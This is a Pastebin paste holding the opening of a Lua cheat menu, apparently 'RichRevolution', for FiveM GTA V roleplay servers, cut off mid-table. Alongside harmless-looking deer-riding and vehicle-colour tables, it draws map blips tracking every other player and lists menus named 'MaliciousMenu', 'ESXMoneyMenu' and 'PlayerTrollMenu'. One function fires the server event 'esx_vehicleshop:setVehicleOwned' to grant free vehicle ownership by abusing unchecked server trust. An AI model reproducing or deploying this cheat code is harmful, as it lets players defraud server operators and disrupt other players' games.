Advertisement
Trsak

Untitled

Aug 18th, 2020
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 403.17 KB | None | 0 0
  1.  
  2.  
  3.  
  4. enabled = enabled
  5. KAKAAKAKAK = enabled
  6.  
  7.  
  8. TriggerServerEvent = TriggerServerEvent
  9.  
  10.  
  11. GetHashKey = GetHashKey
  12.  
  13.  
  14. RichRevolution = { }
  15. RichRevolution.debug = false
  16.  
  17. jd366213 = false
  18. KZjx = jd366213
  19. ihrug = nil
  20. WADUI = ihrug
  21.  
  22. local entityEnumerator = {
  23. __gc = function(enum)
  24. if enum.destructor and enum.handle then
  25. enum.destructor(enum.handle)
  26. end
  27. enum.destructor = nil
  28. enum.handle = nil
  29. end
  30. }
  31. wdihwaduaw = true
  32. jejejejej = wdihwaduaw
  33. xjbvxyg3e = jejejejej
  34. waduyh487r64 = xjbvxyg3e
  35.  
  36.  
  37. function EnumerateEntities(initFunc, moveFunc, disposeFunc)
  38. return coroutine.wrap(function()
  39. local iter, id = initFunc()
  40. if not id or id == 0 then
  41. disposeFunc(iter)
  42. return
  43. end
  44.  
  45. local enum = {handle = iter, destructor = disposeFunc}
  46. setmetatable(enum, entityEnumerator)
  47.  
  48. local next = true
  49. repeat
  50. coroutine.yield(id)
  51. next, id = moveFunc(iter)
  52. until not next
  53.  
  54. enum.destructor, enum.handle = nil, nil
  55. disposeFunc(iter)
  56. end)
  57. end
  58.  
  59. function EnumeratePeds()
  60. return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
  61. end
  62.  
  63. function EnumerateVehicles()
  64. return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
  65. end
  66.  
  67. function GetAllPeds()
  68. local peds123 = {}
  69. for ped in EnumeratePeds() do
  70. if DoesEntityExist(ped) then
  71. table.insert(peds123, ped)
  72. end
  73. end
  74. return peds123
  75. end
  76.  
  77.  
  78.  
  79.  
  80. local Deer = {
  81. Handle = nil,
  82. Invincible = false,
  83. Ragdoll = false,
  84. Marker = false,
  85. Speed = {
  86. Walk = 3.0,
  87. Run = 9.0,
  88. },
  89. }
  90.  
  91. function GetNearbyPeds(X, Y, Z, Radius)
  92. local NearbyPeds = {}
  93. for Ped in EnumeratePeds() do
  94. if DoesEntityExist(Ped) then
  95. local PedPosition = GetEntityCoords(Ped, false)
  96. if Vdist(X, Y, Z, PedPosition.x, PedPosition.y, PedPosition.z) <= Radius then
  97. table.insert(NearbyPeds, Ped)
  98. end
  99. end
  100. end
  101. return NearbyPeds
  102. end
  103.  
  104. function GetCoordsInfrontOfEntityWithDistance(Entity, Distance, Heading)
  105. local Coordinates = GetEntityCoords(Entity, false)
  106. local Head = (GetEntityHeading(Entity) + (Heading or 0.0)) * math.pi / 180.0
  107. return {x = Coordinates.x + Distance * math.sin(-1.0 * Head), y = Coordinates.y + Distance * math.cos(-1.0 * Head), z = Coordinates.z}
  108. end
  109.  
  110. function GetGroundZ(X, Y, Z)
  111. if tonumber(X) and tonumber(Y) and tonumber(Z) then
  112. local _, GroundZ = GetGroundZFor_3dCoord(X + 0.0, Y + 0.0, Z + 0.0, Citizen.ReturnResultAnyway())
  113. return GroundZ
  114. else
  115. return 0.0
  116. end
  117. end
  118.  
  119. function Deer.Destroy()
  120. local Ped = PlayerPedId()
  121.  
  122. DetachEntity(Ped, true, false)
  123. ClearPedTasksImmediately(Ped)
  124.  
  125. SetEntityAsNoLongerNeeded(Deer.Handle)
  126. DeletePed(Deer.Handle)
  127.  
  128. if DoesEntityExist(Deer.Handle) then
  129. SetEntityCoords(Deer.Handle, 601.28948974609, -4396.9853515625, 384.98565673828)
  130. end
  131.  
  132. Deer.Handle = nil
  133. end
  134.  
  135. function Deer.Create()
  136. local Model = GetHashKey("a_c_deer")
  137. RequestModel(Model)
  138. while not HasModelLoaded(Model) do
  139. Citizen.Wait(50)
  140. end
  141.  
  142. local Ped = PlayerPedId()
  143. local PedPosition = GetEntityCoords(Ped, false)
  144.  
  145. Deer.Handle = CreatePed(28, Model, PedPosition.x+1, PedPosition.y, PedPosition.z, GetEntityHeading(Ped), true, false)
  146.  
  147. SetPedCanRagdoll(Deer.Handle, Deer.Ragdoll)
  148. SetEntityInvincible(Deer.Handle, Deer.Invincible)
  149.  
  150. SetModelAsNoLongerNeeded(Model)
  151. end
  152.  
  153. function Deer.Attach()
  154. local Ped = PlayerPedId()
  155.  
  156. FreezeEntityPosition(Deer.Handle, true)
  157. FreezeEntityPosition(Ped, true)
  158.  
  159. local DeerPosition = GetEntityCoords(Deer.Handle, false)
  160. SetEntityCoords(Ped, DeerPosition.x, DeerPosition.y, DeerPosition.z)
  161.  
  162. AttachEntityToEntity(Ped, Deer.Handle, GetPedBoneIndex(Deer.Handle, 24816), -0.3, 0.0, 0.3, 0.0, 0.0, 90.0, false, false, false, true, 2, true)
  163.  
  164. TaskPlayAnim(Ped, "rcmjosh2", "josh_sitting_loop", 8.0, 1, -1, 2, 1.0, 0, 0, 0)
  165.  
  166. FreezeEntityPosition(Deer.Handle, false)
  167. FreezeEntityPosition(Ped, false)
  168. end
  169.  
  170. function Deer.Ride()
  171. local Ped = PlayerPedId()
  172. local PedPosition = GetEntityCoords(Ped, false)
  173. if IsPedSittingInAnyVehicle(Ped) or IsPedGettingIntoAVehicle(Ped) then
  174. return
  175. end
  176.  
  177. local AttachedEntity = GetEntityAttachedTo(Ped)
  178.  
  179. if IsEntityAttached(Ped) and GetEntityModel(AttachedEntity) == GetHashKey("a_c_deer") then
  180. local SideCoordinates = GetCoordsInfrontOfEntityWithDistance(AttachedEntity, 1.0, 90.0)
  181. local SideHeading = GetEntityHeading(AttachedEntity)
  182.  
  183. SideCoordinates.z = GetGroundZ(SideCoordinates.x, SideCoordinates.y, SideCoordinates.z)
  184.  
  185. Deer.Handle = nil
  186. DetachEntity(Ped, true, false)
  187. ClearPedTasksImmediately(Ped)
  188.  
  189. SetEntityCoords(Ped, SideCoordinates.x, SideCoordinates.y, SideCoordinates.z)
  190. SetEntityHeading(Ped, SideHeading)
  191. else
  192. for _, Ped in pairs(GetNearbyPeds(PedPosition.x, PedPosition.y, PedPosition.z, 2.0)) do
  193. if GetEntityModel(Ped) == GetHashKey("a_c_deer") then
  194. Deer.Handle = Ped
  195. Deer.Attach()
  196. break
  197. end
  198. end
  199. end
  200. end
  201.  
  202. Citizen.CreateThread(function()
  203. RequestAnimDict("rcmjosh2")
  204. while not HasAnimDictLoaded("rcmjosh2") do
  205. Citizen.Wait(250)
  206. end
  207. while true do
  208. Citizen.Wait(0)
  209.  
  210.  
  211.  
  212. local Ped = PlayerPedId()
  213. local AttachedEntity = GetEntityAttachedTo(Ped)
  214.  
  215. if (not IsPedSittingInAnyVehicle(Ped) or not IsPedGettingIntoAVehicle(Ped)) and IsEntityAttached(Ped) and AttachedEntity == Deer.Handle then
  216. if DoesEntityExist(Deer.Handle) then
  217. local LeftAxisXNormal, LeftAxisYNormal = GetControlNormal(2, 218), GetControlNormal(2, 219)
  218. local Speed, Range = Deer.Speed.Walk, 4000.0
  219.  
  220.  
  221. local GoToOffset = GetOffsetFromEntityInWorldCoords(Deer.Handle, LeftAxisXNormal * Range, LeftAxisYNormal * -1.0 * Range, 0.0)
  222.  
  223. TaskLookAtCoord(Deer.Handle, GoToOffset.x, GoToOffset.y, GoToOffset.z, 0, 0, 2)
  224. TaskGoStraightToCoord(Deer.Handle, GoToOffset.x, GoToOffset.y, GoToOffset.z, Speed, 20000, 40000.0, 0.5)
  225.  
  226. if Deer.Marker then
  227. DrawMarker(6, GoToOffset.x, GoToOffset.y, GoToOffset.z, 0, 0, 0, 0, 0, 0, 1.0, 1.0, 1.0, 255, 255, 255, 255, 0, 0, 2, 0, 0, 0, 0)
  228. end
  229. end
  230. end
  231. end
  232. end)
  233.  
  234.  
  235.  
  236. local Enabled = true
  237.  
  238. local states = {}
  239. states.frozen = false
  240. states.frozenPos = nil
  241. kkkk = "richisthebest"
  242. local planeisbest = false
  243. local dEI = kkkk
  244.  
  245.  
  246. local ojtgh = "50.0"
  247. local a = 1
  248.  
  249. local cg = true
  250. local ch = false
  251. local ci = true
  252. local chdata = {}
  253. function mysplit(inputstr, sep)
  254. if sep == nil then
  255. sep = "%s"
  256. end
  257. local t={} ; i=1
  258. for str in string.gmatch(inputstr, "([^"..sep.."]+)") do
  259. t[i] = str
  260. i = i + 1
  261. end
  262. return t
  263. end
  264.  
  265. local allMenus = { "MainMenu", "SelfMenu", "OnlinePlayersMenu", "WeaponMenu", "SingleWeaponMenu", "MaliciousMenu",
  266. "ESXMenu", "ESXJobMenu", "ESXMoneyMenu","VRPMoneyMenu", "VehMenu", "VehSpawnOpt", "PlayerOptionsMenu",
  267. "TeleportMenu", "LSC", "Hedit", "PlayerTrollMenu", "PlayerESXMenu", "PlayerESXJobMenu",
  268. "PlayerESXTriggerMenu", "BulletGunMenu", "TrollMenu", "WeaponCustomization", "WeaponTintMenu",
  269. "VehicleRamMenu", "ESXBossMenu", "SpawnPropsMenu", "SingleWepPlayer", "VehBoostMenu",
  270. "ESXMiscMenu", "ESXDrugMenu", "AI", "SettingsMenu", "VRPMenu"}
  271.  
  272. local handlingData = {
  273. "handlingName",
  274. "fMass",
  275. "fInitialDragCoeff",
  276. "fPercentSubmerged",
  277. "vecCentreOfMassOffset",
  278. "vecInertiaMultiplier",
  279. "fDriveBiasFront",
  280. "nInitialDriveGears",
  281. "fInitialDriveForce",
  282. "fDriveInertia",
  283. "fClutchChangeRateScaleUpShift",
  284. "fClutchChangeRateScaleDownShift",
  285. "fInitialDriveMaxFlatVel",
  286. "fBrakeForce",
  287. "fBrakeBiasFront",
  288. "fHandBrakeForce",
  289. "fSteeringLock",
  290. "fTractionCurveMax",
  291. "fTractionCurveMin",
  292. "fTractionCurveLateral",
  293. "fTractionSpringDeltaMax",
  294. "fLowSpeedTractionLossMult",
  295. "fCamberStiffnesss",
  296. "fTractionBiasFront",
  297. "fTractionLossMult",
  298. "fSuspensionForce",
  299. "fSuspensionCompDamp",
  300. "fSuspensionReboundDamp",
  301. "fSuspensionUpperLimit",
  302. "fSuspensionLowerLimit",
  303. "fSuspensionRaise",
  304. "fSuspensionBiasFront",
  305. "fTractionCurveMax",
  306. "fAntiRollBarForce",
  307. "fAntiRollBarBiasFront",
  308. "fRollCentreHeightFront",
  309. "fRollCentreHeightRear",
  310. "fCollisionDamageMult",
  311. "fWeaponDamageMult",
  312. "fDeformationDamageMult",
  313. "fEngineDamageMult",
  314. "fPetrolTankVolume",
  315. "fOilVolume",
  316. "fSeatOffsetDistX",
  317. "fSeatOffsetDistY",
  318. "fSeatOffsetDistZ",
  319. "nMonetaryValue",
  320. "strModelFlags",
  321. "strHandlingFlags",
  322. "strDamageFlags",
  323. "AIHandling",
  324.  
  325.  
  326. "fThrust",
  327. "fThrustFallOff",
  328. "fThrustVectoring",
  329. "fYawMult",
  330. "fYawStabilise",
  331. "fSideSlipMult",
  332. "fRollMult",
  333. "fRollStabilise",
  334. "fPitchMult",
  335. "fPitchStabilise",
  336. "fFormLiftMult",
  337. "fAttackLiftMult",
  338. "fAttackDiveMult",
  339. "fGearDownDragV",
  340. "fGearDownLiftMult",
  341. "fWindMult",
  342. "fMoveRes",
  343. "vecTurnRes",
  344. "vecSpeedRes",
  345. "fGearDoorFrontOpen",
  346. "fGearDoorRearOpen",
  347. "fGearDoorRearOpen2",
  348. "fGearDoorRearMOpen",
  349. "fTurublenceMagnitudeMax",
  350. "fTurublenceForceMulti",
  351. "fTurublenceRollTorqueMulti",
  352. "fTurublencePitchTorqueMulti",
  353. "fBodyDamageControlEffectMult",
  354. "fInputSensitivityForDifficulty",
  355. "fOnGroundYawBoostSpeedPeak",
  356. "fOnGroundYawBoostSpeedCap",
  357. "fEngineOffGlideMulti",
  358. "handlingType",
  359. "fThrustFallOff",
  360. "fThrustFallOff",
  361.  
  362.  
  363. "fBackEndPopUpCarImpulseMult",
  364. "fBackEndPopUpBuildingImpulseMult",
  365. "fBackEndPopUpMaxDeltaSpeed",
  366.  
  367.  
  368.  
  369.  
  370. "fLeanFwdCOMMult",
  371. "fLeanFwdForceMult",
  372. "fLeanBakCOMMult",
  373. "fLeanBakForceMult",
  374. "fMaxBankAngle",
  375. "fFullAnimAngle",
  376. "fDesLeanReturnFrac",
  377. "fStickLeanMult",
  378. "fBrakingStabilityMult",
  379. "fInAirSteerMult",
  380. "fWheelieBalancePoint",
  381. "fStoppieBalancePoint",
  382. "fWheelieSteerMult",
  383. "fRearBalanceMult",
  384. "fFrontBalanceMult",
  385. "fBikeGroundSideFrictionMult",
  386. "fBikeWheelGroundSideFrictionMult",
  387. "fBikeOnStandLeanAngle",
  388. "fBikeOnStandSteerAngle",
  389. "fJumpForce",
  390. }
  391.  
  392.  
  393.  
  394. Citizen.CreateThread(function()
  395.  
  396. function SetVehicleHandlingData(Vehicle,Data,Value)
  397. if DoesEntityExist(Vehicle) and Data and Value then
  398. for theKey,property in pairs(handlingData) do
  399. if property == Data then
  400. local intfind = string.find(property, "n" )
  401. local floatfind = string.find(property, "f" )
  402. local strfind = string.find(property, "str" )
  403. local vecfind = string.find(property, "vec" )
  404.  
  405.  
  406. if intfind ~= nil and intfind == 1 then
  407. SetVehicleHandlingInt( Vehicle, "CHandlingData", Data, tonumber(Value) )
  408. elseif floatfind ~= nil and floatfind == 1 then
  409. local Value = tonumber(Value)+.0
  410. SetVehicleHandlingFloat( Vehicle, "CHandlingData", Data, tonumber(Value) )
  411. elseif strfind ~= nil and strfind == 1 then
  412. SetVehicleHandlingField( Vehicle, "CHandlingData", Data, Value )
  413. elseif vecfind ~= nil and vecfind == 1 then
  414. SetVehicleHandlingVector( Vehicle, "CHandlingData", Data, Value )
  415. else
  416. SetVehicleHandlingField( Vehicle, "CHandlingData", Data, Value )
  417. end
  418. end
  419. end
  420. end
  421. end
  422.  
  423.  
  424. function GetVehicleHandlingData(Vehicle,Data)
  425. if DoesEntityExist(Vehicle) then
  426. for theKey,property in pairs(handlingData) do
  427. if property == Data then
  428. local intfind = string.find(property, "n" )
  429. local floatfind = string.find(property, "f" )
  430. local strfind = string.find(property, "str" )
  431. local vecfind = string.find(property, "vec" )
  432.  
  433. if intfind ~= nil and intfind == 1 then
  434. return GetVehicleHandlingInt( Vehicle, "CHandlingData", Data )
  435. elseif floatfind ~= nil and floatfind == 1 then
  436. return GetVehicleHandlingFloat( Vehicle, "CHandlingData", Data )
  437. elseif vecfind ~= nil and vecfind == 1 then
  438. return GetVehicleHandlingVector( Vehicle, "CHandlingData", Data )
  439. else
  440. return false
  441. end
  442. end
  443. end
  444. end
  445. end
  446.  
  447. function GetAllVehicleHandlingData(Vehicle)
  448. local VehicleHandlingData = {}
  449. if DoesEntityExist(Vehicle) then
  450. for i,theData in pairs(handlingData) do
  451. local intfind = string.find(theData, "n" )
  452. local floatfind = string.find(theData, "f" )
  453. local strfind = string.find(theData, "str" )
  454. local vecfind = string.find(theData, "vec" )
  455.  
  456. if intfind ~= nil and intfind == 1 and GetVehicleHandlingInt( Vehicle, "CHandlingData", theData ) then
  457. table.insert(VehicleHandlingData, { name = theData, value = GetVehicleHandlingInt( Vehicle, "CHandlingData", theData ), type = "int" } )
  458. elseif floatfind ~= nil and floatfind == 1 and GetVehicleHandlingFloat( Vehicle, "CHandlingData", theData ) then
  459. table.insert(VehicleHandlingData, { name = theData, value = GetVehicleHandlingFloat( Vehicle, "CHandlingData", theData ), type = "float" } )
  460. elseif vecfind ~= nil and vecfind == 1 and GetVehicleHandlingVector( Vehicle, "CHandlingData", theData ) then
  461. table.insert(VehicleHandlingData, { name = theData, value = GetVehicleHandlingVector( Vehicle, "CHandlingData", theData ), type = "vector3" } )
  462. end
  463. end
  464. return VehicleHandlingData
  465. end
  466. end
  467.  
  468.  
  469.  
  470.  
  471. end
  472. )
  473.  
  474. Citizen.CreateThread(function()
  475. while true do
  476. Citizen.Wait(10)
  477. if(states.frozen)then
  478. ClearPedTasksImmediately(GetPlayerPed(-1))
  479. SetEntityCoords(GetPlayerPed(-1), states.frozenPos)
  480. end
  481. end
  482. end)
  483.  
  484. Citizen.CreateThread(
  485. function()
  486. while true do
  487. Wait(1)
  488. for i = 0, 128 do
  489. if NetworkIsPlayerActive(i) and GetPlayerPed(i) ~= GetPlayerPed(-1) then
  490. local ped = GetPlayerPed(i)
  491. blip = GetBlipFromEntity(ped)
  492. x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  493. x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(i), true))
  494. distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
  495. headId = Citizen.InvokeNative(0xBFEFE3321A3F5015, ped, GetPlayerName(i), false, false, '', false)
  496. wantedLvl = GetPlayerWantedLevel(i)
  497. if ch then
  498. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, true)
  499. if wantedLvl then
  500. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, true)
  501. Citizen.InvokeNative(0xCF228E2AA03099C3, headId, wantedLvl)
  502. else
  503. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
  504. end
  505. else
  506. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
  507. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 9, false)
  508. Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, false)
  509. end
  510. if cg then
  511. if not DoesBlipExist(blip) then
  512. blip = AddBlipForEntity(ped)
  513. SetBlipSprite(blip, 1)
  514. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  515. SetBlipNameToPlayerName(blip, i)
  516. else
  517. veh = GetVehiclePedIsIn(ped, false)
  518. blipSprite = GetBlipSprite(blip)
  519. if not GetEntityHealth(ped) then
  520. if blipSprite ~= 274 then
  521. SetBlipSprite(blip, 274)
  522. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  523. SetBlipNameToPlayerName(blip, i)
  524. end
  525. elseif veh then
  526. vehClass = GetVehicleClass(veh)
  527. vehModel = GetEntityModel(veh)
  528. if vehClass == 15 then
  529. if blipSprite ~= 422 then
  530. SetBlipSprite(blip, 422)
  531. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  532. SetBlipNameToPlayerName(blip, i)
  533. end
  534. elseif vehClass == 16 then
  535. if
  536. vehModel == GetHashKey('besra') or vehModel == GetHashKey('hydra') or
  537. vehModel == GetHashKey('lazer')
  538. then
  539. if blipSprite ~= 424 then
  540. SetBlipSprite(blip, 424)
  541. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  542. SetBlipNameToPlayerName(blip, i)
  543. end
  544. elseif blipSprite ~= 423 then
  545. SetBlipSprite(blip, 423)
  546. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  547. end
  548. elseif vehClass == 14 then
  549. if blipSprite ~= 427 then
  550. SetBlipSprite(blip, 427)
  551. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  552. end
  553. elseif
  554. vehModel == GetHashKey('insurgent') or vehModel == GetHashKey('insurgent2') or
  555. vehModel == GetHashKey('limo2')
  556. then
  557. if blipSprite ~= 426 then
  558. SetBlipSprite(blip, 426)
  559. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  560. SetBlipNameToPlayerName(blip, i)
  561. end
  562. elseif vehModel == GetHashKey('rhino') then
  563. if blipSprite ~= 421 then
  564. SetBlipSprite(blip, 421)
  565. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
  566. SetBlipNameToPlayerName(blip, i)
  567. end
  568. elseif blipSprite ~= 1 then
  569. SetBlipSprite(blip, 1)
  570. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  571. SetBlipNameToPlayerName(blip, i)
  572. end
  573. passengers = GetVehicleNumberOfPassengers(veh)
  574. if passengers then
  575. if not IsVehicleSeatFree(veh, -1) then
  576. passengers = passengers + 1
  577. end
  578. ShowNumberOnBlip(blip, passengers)
  579. else
  580. HideNumberOnBlip(blip)
  581. end
  582. else
  583. HideNumberOnBlip(blip)
  584. if blipSprite ~= 1 then
  585. SetBlipSprite(blip, 1)
  586. Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
  587. SetBlipNameToPlayerName(blip, i)
  588. end
  589. end
  590. SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
  591. SetBlipNameToPlayerName(blip, i)
  592. SetBlipScale(blip, 0.85)
  593. if IsPauseMenuActive() then
  594. SetBlipAlpha(blip, 255)
  595. else
  596. x1, y1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  597. x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(i), true))
  598. distance =
  599. math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1) +
  600. 900
  601. if distance < 0 then
  602. distance = 0
  603. elseif distance > 255 then
  604. distance = 255
  605. end
  606. SetBlipAlpha(blip, distance)
  607. end
  608. end
  609. else
  610. RemoveBlip(blip)
  611. end
  612. end
  613. end
  614. end
  615. end
  616. )
  617.  
  618. local function fv()
  619. local cb = KeyboardInput('Enter Vehicle Spawn Name', '', 100)
  620. local cw = KeyboardInput('Enter Vehicle Licence Plate', '', 100)
  621. if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
  622. RequestModel(cb)
  623. while not HasModelLoaded(cb) do
  624. Citizen.Wait(0)
  625. end
  626. local veh =
  627. CreateVehicle(
  628. GetHashKey(cb),
  629. GetEntityCoords(PlayerPedId(-1)),
  630. GetEntityHeading(PlayerPedId(-1)),
  631. true,
  632. true
  633. )
  634. SetVehicleNumberPlateText(veh, cw)
  635. local cx = ESX.Game.GetVehicleProperties(veh)
  636. TriggerServerEvent('esx_vehicleshop:setVehicleOwned', cx)
  637. av('~g~~h~Success', false)
  638. else
  639. av('~b~~h~Model is not valid!', true)
  640. end
  641. end
  642.  
  643. local function e()
  644. local name = GetPlayerName(PlayerId())
  645. end
  646. local o = {}
  647. local h = false
  648. rot = 1
  649. local j = false
  650. local bw = true
  651. local b8 = false
  652. local b9 = false
  653. local ba = false
  654. local bb = false
  655. local bc = nil
  656. local bd = {
  657. {
  658. name = "Spoilers", id = 0
  659. }, {
  660. name = "Front Bumper", id = 1
  661. }, {
  662. name = "Rear Bumper", id = 2
  663. }, {
  664. name = "Side Skirt", id = 3
  665. }, {
  666. name = "Exhaust", id = 4
  667. }, {
  668. name = "Frame", id = 5
  669. }, {
  670. name = "Grille", id = 6
  671. }, {
  672. name = "Hood", id = 7
  673. }, {
  674. name = "Fender", id = 8
  675. }, {
  676. name = "Right Fender", id = 9
  677. }, {
  678. name = "Roof", id = 10
  679. }, {
  680. name = "Vanity Plates", id = 25
  681. }, {
  682. name = "Trim", id = 27
  683. }, {
  684. name = "Ornaments", id = 28
  685. }, {
  686. name = "Dashboard", id = 29
  687. }, {
  688. name = "Dial", id = 30
  689. }, {
  690. name = "Door Speaker", id = 31
  691. }, {
  692. name = "Seats", id = 32
  693. }, {
  694. name = "Steering Wheel", id = 33
  695. }, {
  696. name = "Shifter Leavers", id = 34
  697. }, {
  698. name = "Plaques", id = 35
  699. }, {
  700. name = "Speakers", id = 36
  701. }, {
  702. name = "Trunk", id = 37
  703. }, {
  704. name = "Hydraulics", id = 38
  705. }, {
  706. name = "Engine Block", id = 39
  707. }, {
  708. name = "Air Filter", id = 40
  709. }, {
  710. name = "Struts", id = 41
  711. }, {
  712. name = "Arch Cover", id = 42
  713. }, {
  714. name = "Aerials", id = 43
  715. }, {
  716. name = "Trim 2", id = 44
  717. }, {
  718. name = "Tank", id = 45
  719. }, {
  720. name = "Windows", id = 46
  721. }, {
  722. name = "Livery", id = 48
  723. }, {
  724. name = "Wheels", id = 23
  725. }, {
  726. name = "Wheel Types", id = "wheeltypes"
  727. }, {
  728. name = "Extras", id = "extra"
  729. }, {
  730. name = "Neons", id = "neon"
  731. }, {
  732. name = "Paint", id = "paint"
  733. }, {
  734. name = "Headlights Color", id = "headlight"
  735. }, {
  736. name = "Licence Plate", id = "licence"
  737. }
  738. }
  739.  
  740. local be = {
  741. {
  742. name = "Engine", id = 11
  743. }, {
  744. name = "Brakes", id = 12
  745. }, {
  746. name = "Transmission", id = 13
  747. }, {
  748. name = "Suspension", id = 15
  749. }
  750. }
  751.  
  752. local bo = {
  753. {
  754. name = "Default", id = -1
  755. }, {
  756. name = "White", id = 0
  757. }, {
  758. name = "Blue", id = 1
  759. }, {
  760. name = "Electric Blue", id = 2
  761. }, {
  762. name = "Mint Green", id = 3
  763. }, {
  764. name = "Lime Green", id = 4
  765. }, {
  766. name = "Yellow", id = 5
  767. }, {
  768. name = "Golden Shower", id = 6
  769. }, {
  770. name = "Orange", id = 7
  771. }, {
  772. name = "Red", id = 8
  773. }, {
  774. name = "Pony Pink", id = 9
  775. }, {
  776. name = "Hot Pink", id = 10
  777. }, {
  778. name = "Purple", id = 11
  779. }, {
  780. name = "Blacklight", id = 12
  781. }
  782. }
  783.  
  784. local colors = {
  785. ["White"] = {
  786. 255, 255, 255
  787. }, ["Blue"] = {
  788. 0, 0, 255
  789. }, ["Electric Blue"] = {
  790. 0, 150, 255
  791. }, ["Mint Green"] = {
  792. 50, 255, 155
  793. }, ["Lime Green"] = {
  794. 0, 255, 0
  795. }, ["Yellow"] = {
  796. 255, 255, 0
  797. }, ["Golden Shower"] = {
  798. 204, 204, 0
  799. }, ["Orange"] = {
  800. 255, 128, 0
  801. }, ["Red"] = {
  802. 255, 0, 0
  803. }, ["Pony Pink"] = {
  804. 255, 102, 255
  805. }, ["Hot Pink"] = {
  806. 255, 0, 255
  807. }, ["Purple"] = {
  808. 153, 0, 153
  809. }
  810. }
  811.  
  812. -- 4x482
  813.  
  814. local bg = {
  815. {
  816. name = "Black", id = 0
  817. }, {
  818. name = "Carbon Black", id = 147
  819. }, {
  820. name = "Graphite", id = 1
  821. }, {
  822. name = "Anhracite Black", id = 11
  823. }, {
  824. name = "Black Steel", id = 2
  825. }, {
  826. name = "Dark Steel", id = 3
  827. }, {
  828. name = "Silver", id = 4
  829. }, {
  830. name = "Bluish Silver", id = 5
  831. }, {
  832. name = "Rolled Steel", id = 6
  833. }, {
  834. name = "Shadow Silver", id = 7
  835. }, {
  836. name = "Stone Silver", id = 8
  837. }, {
  838. name = "Midnight Silver", id = 9
  839. }, {
  840. name = "Cast Iron Silver", id = 10
  841. }, {
  842. name = "Red", id = 27
  843. }, {
  844. name = "Torino Red", id = 28
  845. }, {
  846. name = "Formula Red", id = 29
  847. }, {
  848. name = "Lava Red", id = 150
  849. }, {
  850. name = "Blaze Red", id = 30
  851. }, {
  852. name = "Grace Red", id = 31
  853. }, {
  854. name = "Garnet Red", id = 32
  855. }, {
  856. name = "Sunset Red", id = 33
  857. }, {
  858. name = "Cabernet Red", id = 34
  859. }, {
  860. name = "Wine Red", id = 143
  861. }, {
  862. name = "Candy Red", id = 35
  863. }, {
  864. name = "Hot Pink", id = 135
  865. }, {
  866. name = "Pfsiter Pink", id = 137
  867. }, {
  868. name = "Salmon Pink", id = 136
  869. }, {
  870. name = "Sunrise Orange", id = 36
  871. }, {
  872. name = "Orange", id = 38
  873. }, {
  874. name = "Bright Orange", id = 138
  875. }, {
  876. name = "Gold", id = 99
  877. }, {
  878. name = "Bronze", id = 90
  879. }, {
  880. name = "Yellow", id = 88
  881. }, {
  882. name = "Race Yellow", id = 89
  883. }, {
  884. name = "Dew Yellow", id = 91
  885. }, {
  886. name = "Dark Green", id = 49
  887. }, {
  888. name = "Racing Green", id = 50
  889. }, {
  890. name = "Sea Green", id = 51
  891. }, {
  892. name = "Olive Green", id = 52
  893. }, {
  894. name = "Bright Green", id = 53
  895. }, {
  896. name = "Gasoline Green", id = 54
  897. }, {
  898. name = "Lime Green", id = 92
  899. }, {
  900. name = "Midnight Blue", id = 141
  901. }, {
  902. name = "Galaxy Blue", id = 61
  903. }, {
  904. name = "Dark Blue", id = 62
  905. }, {
  906. name = "Saxon Blue", id = 63
  907. }, {
  908. name = "Blue", id = 64
  909. }, {
  910. name = "Mariner Blue", id = 65
  911. }, {
  912. name = "Harbor Blue", id = 66
  913. }, {
  914. name = "Diamond Blue", id = 67
  915. }, {
  916. name = "Surf Blue", id = 68
  917. }, {
  918. name = "Nautical Blue", id = 69
  919. }, {
  920. name = "Racing Blue", id = 73
  921. }, {
  922. name = "Ultra Blue", id = 70
  923. }, {
  924. name = "Light Blue", id = 74
  925. }, {
  926. name = "Chocolate Brown", id = 96
  927. }, {
  928. name = "Bison Brown", id = 101
  929. }, {
  930. name = "Creeen Brown", id = 95
  931. }, {
  932. name = "Feltzer Brown", id = 94
  933. }, {
  934. name = "Maple Brown", id = 97
  935. }, {
  936. name = "Beechwood Brown", id = 103
  937. }, {
  938. name = "Sienna Brown", id = 104
  939. }, {
  940. name = "Saddle Brown", id = 98
  941. }, {
  942. name = "Moss Brown", id = 100
  943. }, {
  944. name = "Woodbeech Brown", id = 102
  945. }, {
  946. name = "Straw Brown", id = 99
  947. }, {
  948. name = "Sandy Brown", id = 105
  949. }, {
  950. name = "Bleached Brown", id = 106
  951. }, {
  952. name = "Schafter Purple", id = 71
  953. }, {
  954. name = "Spinnaker Purple", id = 72
  955. }, {
  956. name = "Midnight Purple", id = 142
  957. }, {
  958. name = "Bright Purple", id = 145
  959. }, {
  960. name = "Cream", id = 107
  961. }, {
  962. name = "Ice White", id = 111
  963. }, {
  964. name = "Frost White", id = 112
  965. }
  966. }
  967.  
  968. local bi = {
  969. {
  970. name = "Black", id = 12
  971. }, {
  972. name = "Gray", id = 13
  973. }, {
